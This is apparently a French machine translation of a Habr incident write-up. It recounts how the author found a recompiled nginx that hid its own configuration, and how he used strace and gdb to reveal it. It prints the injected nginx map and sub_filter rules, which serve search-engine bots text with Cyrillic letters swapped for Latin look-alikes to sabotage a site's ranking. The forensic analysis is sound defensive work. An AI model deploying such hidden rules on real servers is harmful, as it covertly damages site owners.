Quand 'a' n'est pas égal à 'a'. Suite à un piratage

Une histoire très désagréable est arrivée à un de mes amis. Mais à quel point elle a été désagréable pour Mikhaïl, elle a été tout aussi fascinante pour moi.

Je dois dire que mon ami est plutôt UNIX-utilisateur : il peut installer lui-même le système, mettre en place mysql, php et effectuer les réglages les plus simples. nginx.
Il a une douzaine de sites consacrés aux outils de construction.

Un de ces sites, consacré aux tronçonneuses, se retrouve fermement en tête des résultats des moteurs de recherche. Ce site est un site d'analyse non commerciale, mais il gêne certains et ils se sont mis à l'attaquer. À un moment donné DDoS, il y a eu des tentatives de brute force, des commentaires indésirables et des abus envoyés à l'hébergement et au RKN.
Soudain, tout s'est calmé et ce calme n'était pas bon signe, le site a commencé à disparaître progressivement des premières lignes des résultats.

Quand 'a' n'est pas égal à 'a'. Sur les traces d'un piratage

C'était un préambule, maintenant la vraie histoire de l'administrateur.

Il était presque l'heure de dormir lorsque le téléphone a sonné : « Sanka, peux-tu jeter un œil à mon serveur ? J'ai l'impression d'avoir été piraté, je ne peux pas le prouver, mais cette sensation ne me quitte pas depuis trois semaines. Peut-être que j'ai juste besoin d'un traitement contre la paranoïa ? »

Nous avons ensuite eu une discussion de trente minutes qui peut être résumée ainsi :

  • le terrain pour le piratage était plutôt fertile ;
  • le pirate pouvait obtenir des droits de superutilisateur ;
  • l'attaque (si elle a eu lieu) était ciblée précisément sur ce site ;
  • les points problématiques ont été corrigés et il ne reste plus qu'à vérifier s'il y a eu une intrusion ;
  • le piratage n'a pas pu toucher le code du site et les bases de données.

Concernant ce dernier point.

Quand 'a' n'est pas égal à 'a'. Sur les traces d'un piratage

Seul l'IP blanc du front-end est exposé au monde. Il n'y a pas d'échange entre les back-ends et le front-end en dehors de http(s), les utilisateurs/mots de passe sont différents, les clés n'ont pas été échangées. Tous les ports sauf 80/443 sont fermés sur les adresses grises. Les IP blanches des back-ends sont connues uniquement de deux utilisateurs en qui Mikhaïl a une confiance totale.

Le front-end est équipé Debian 9 et au moment de l'appel, le système est isolé du monde par un pare-feu externe et arrêté.

« Ok, donne-moi les accès, — je décide de reporter mon sommeil d'une heure. — Je vais jeter un œil. »

Ici et plus loin :

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

À la recherche d'une éventuelle compromission

Je démarre le serveur, d'abord en mode de secours. Je monte les disques, feuillette les auth-logs, history, logs système, etc., je vérifie les dates de création des fichiers dans la mesure du possible, bien que je comprenne qu'un véritable hacker aurait « nettoyé » derrière lui, et Misha a déjà « bien piétiné » en cherchant lui-même.

Je démarre en mode normal, sans trop savoir quoi chercher, j'étudie les configurations. Je suis principalement intéressé par nginx car, en fait, il n'y a rien d'autre sur le front-end.
Les configurations sont petites, bien structurées en une dizaine de fichiers, je les consulte simplement cat’les uns après les autres. Tout semble propre, mais sait-on jamais si j'ai manqué quelque chose include, je vais faire un listing complet :

$ nginx -T
nginx : le fichier de configuration /usr/local/etc/nginx/nginx.conf a une syntaxe correcte
nginx : le fichier de configuration /usr/local/etc/nginx/nginx.conf a passé le test avec succès

Je n'ai pas compris : « Où est le listing ? »

$ nginx -V
version nginx : nginx/1.10.3
Support TLS SNI activé
arguments de configuration : --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Concernant le listing, on se pose une seconde question : « Pourquoi une si ancienne version de nginx ? »

De plus, le système pense que la version est plus récente :

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          petit, puissant, serveur web/proxy évolutif

J'appelle :
— Misha, pourquoi as-tu recompilé nginx?
— Calme-toi, je ne sais même pas comment faire ça !
— Ok, bon, dors...

Nginx definitivement recompilé et la sortie du listing par « -T » est cachée pour une raison. Plus de doutes sur le piratage et il est temps d'accepter ça et (puisque Misha a déjà remplacé le serveur par un nouveau) de considérer le problème comme résolu.

Et en effet, puisque quelqu'un a obtenu des droits rootdonc il est logique de faire seulement system reinstall, chercher ce qui a été fait est inutile, mais cette fois la curiosité a vaincu le sommeil. Comment savoir ce que l'on voulait cacher ?

Essayons de tracer :

$ strace nginx -T

Nous observons qu'il manque clairement des lignes de type

write(1, "/etc/nginx/nginx.conf", 21) = 21
write(1, "...
write(1, "n", 1

Pour le plaisir, nous comparons les sorties

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Je pense qu'une partie du code /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

a été transformé en :

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ou

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

donc le listing avec «-T» n'est pas affiché.

Mais comment voir notre configuration ?

Si ma réflexion est correcte et que le problème ne vient que de la variable ngx_dump_config essayons de la définir grâce à gdb, le choix —with-cc-opt -g est présent et espérons que l'optimisation -O2 ne sera pas un handicap. D'autant plus que, comme je ne sais pas comment ngx_dump_config cela pourrait avoir été traité dans case ‘T’:, ne déclenchons pas ce bloc, mais définissons-le en utilisant case ‘t’:

Pourquoi peut-on utiliser ‘-t’ sur un pied d'égalité avec ‘-T’Traitement du bloc if(ngx_dump_config) se fait à l'intérieur if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "le test du fichier de configuration %s est réussi",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i config_dump.nelts; i++) {

                ngx_write_stdout("# fichier de configuration ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Bien sûr, si le code a été modifié dans cette partie, et non dans case ‘T’:, alors ma méthode ne conviendra pas.

nginx.conf de testAprès avoir résolu le problème par l'expérience, il a été établi qu'un minimum de configuration est nécessaire pour que le malware fonctionne nginx de type :

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Nous allons donc l'utiliser pour plus de concision dans cet article.

Lançons le débogueur

$ gdb --silent --args nginx -t
Lecture des symboles de nginx...fait.
(gdb) break main
Point d'arrêt 1 à 0x1f390: fichier src/core/nginx.c, ligne 188.
(gdb) run
Démarre le programme: nginx -t
[Débogage de thread utilisant la bibliothèque libthread_db activée]
Utilisation de la bibliothèque hôte libthread_db " /lib/x86_64-linux-gnu/libthread_db.so.1".

Point d'arrêt 1, main (argc=2, argv=0x7fffffffebc8) à src/core/nginx.c:188
188     src/core/nginx.c: Aucun fichier ou répertoire de ce type.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continue.
nginx: le fichier de configuration /etc/nginx/nginx.conf a une syntaxe correcte.
nginx: le test du fichier de configuration /etc/nginx/nginx.conf est réussi.
# fichier de configuration /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

	include /etc/nginx/sites-enabled/*;
}
# fichier de configuration /etc/nginx/sites-enabled/default:

[Inferieur 1 (processus 32581) s'est terminé normalement]
(gdb) quit

Par étapes :

  • nous mettons un point d'arrêt dans la fonction main()
  • nous démarrons le programme
  • nous modifions la valeur de la variable déterminant la sortie de la configuration ngx_dump_config=1
  • nous continuons/terminons le programme

Comme nous le voyons, la configuration réelle diffère de la nôtre, extrayons-en un morceau parasite :

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Examinons en détail ce qui se passe ici.

Ils sont définis User-Agent‘ы yandex/google :

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Les pages administratives sont exclues wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Et pour ceux qui sont tombés sous les deux conditions précédentes

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

dans le texte html-la page est modifiée ‘о’ sur ‘o’ et ‘а’ sur ‘a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Exactement, la nuance est que ‘а’ != ‘a’ tout comme ‘о’ != ‘o’:

Quand 'a' n'est pas égal à 'a'. Sur les traces d'un piratage

Ainsi, les robots des moteurs de recherche reçoivent à la place d'un texte 100 % cyrillique normal, des déchets modifiés mélangés avec du latin ‘a’ et ‘o’. Je ne m'aventurerai pas à dire comment cela influence le SEO, mais il est peu probable qu'un tel mélange de lettres ait un effet positif sur le classement.

Que dire, des gars avec de la créativité.

Liens

Débogage avec GDB
gdb(1) — page de manuel Linux
strace(1) — page de manuel Linux
Nginx — Module ngx_http_sub_module
À propos des scies, des scies à essence et des scies électriques

Source : habr.com

Acheter un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS 🔥 Acheter un hébergement fiable pour les sites avec protection DDoS, serveurs VPS VDS | ProHoster